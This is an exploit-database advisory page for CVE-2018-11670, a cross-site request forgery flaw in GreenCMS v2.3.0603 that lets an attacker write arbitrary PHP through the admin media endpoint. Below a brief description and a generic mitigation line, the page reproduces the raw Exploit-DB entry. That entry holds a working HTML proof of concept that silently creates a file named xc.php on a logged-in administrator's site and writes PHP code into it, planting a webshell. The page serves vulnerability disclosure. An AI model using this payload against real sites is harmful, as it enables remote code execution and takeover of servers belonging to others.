GreenCMS v2.3.0603 CSRF vulnerability get webshell

vendor:

GreenCMS

by:

xichao

8.8

CVSS

HIGH

CSRF

352

CWE

Product Name: GreenCMS

Affected Version From: v2.3.0603

Affected Version To: v2.3.0603

Patch Exists: YES

Related CWE: CVE-2018-11670

CPE: a:greencms:greencms:2.3.0603

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

GreenCMS v2.3.0603 CSRF vulnerability get webshell

An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.

Mitigation:

Implementing a secure configuration posture, including the application of the latest security patches, can help to reduce the risk of exploitation of this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
# Date: 2018-06-02
# Exploit Author: xichao
# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
# Software Link: https://github.com/GreenCMS/GreenCMS
# Version: v2.3.0603
# CVE : CVE-2018-11670
 
An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.

poc:

<span style="font-size:18px;"><!DOCTYPE html> 
<html lang="en"> 
<head> 
    <meta charset="UTF-8"> 
    <title>csrftest</title> 
</head> 
<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
    <script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
    <input type="hidden" name="cmd" value="put">
    <input type="hidden" name="target" value="l1_eGMucGhw">
　    <input type="hidden" name="content" value="<?php phpinfo();?>">
    <button type="submit" value="Submit">WebShell</button>
    </form>
    </body>
</html></span>

References:
http://www.iwantacve.cn/index.php/archives/38/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
https://github.com/GreenCMS/GreenCMS/issues/108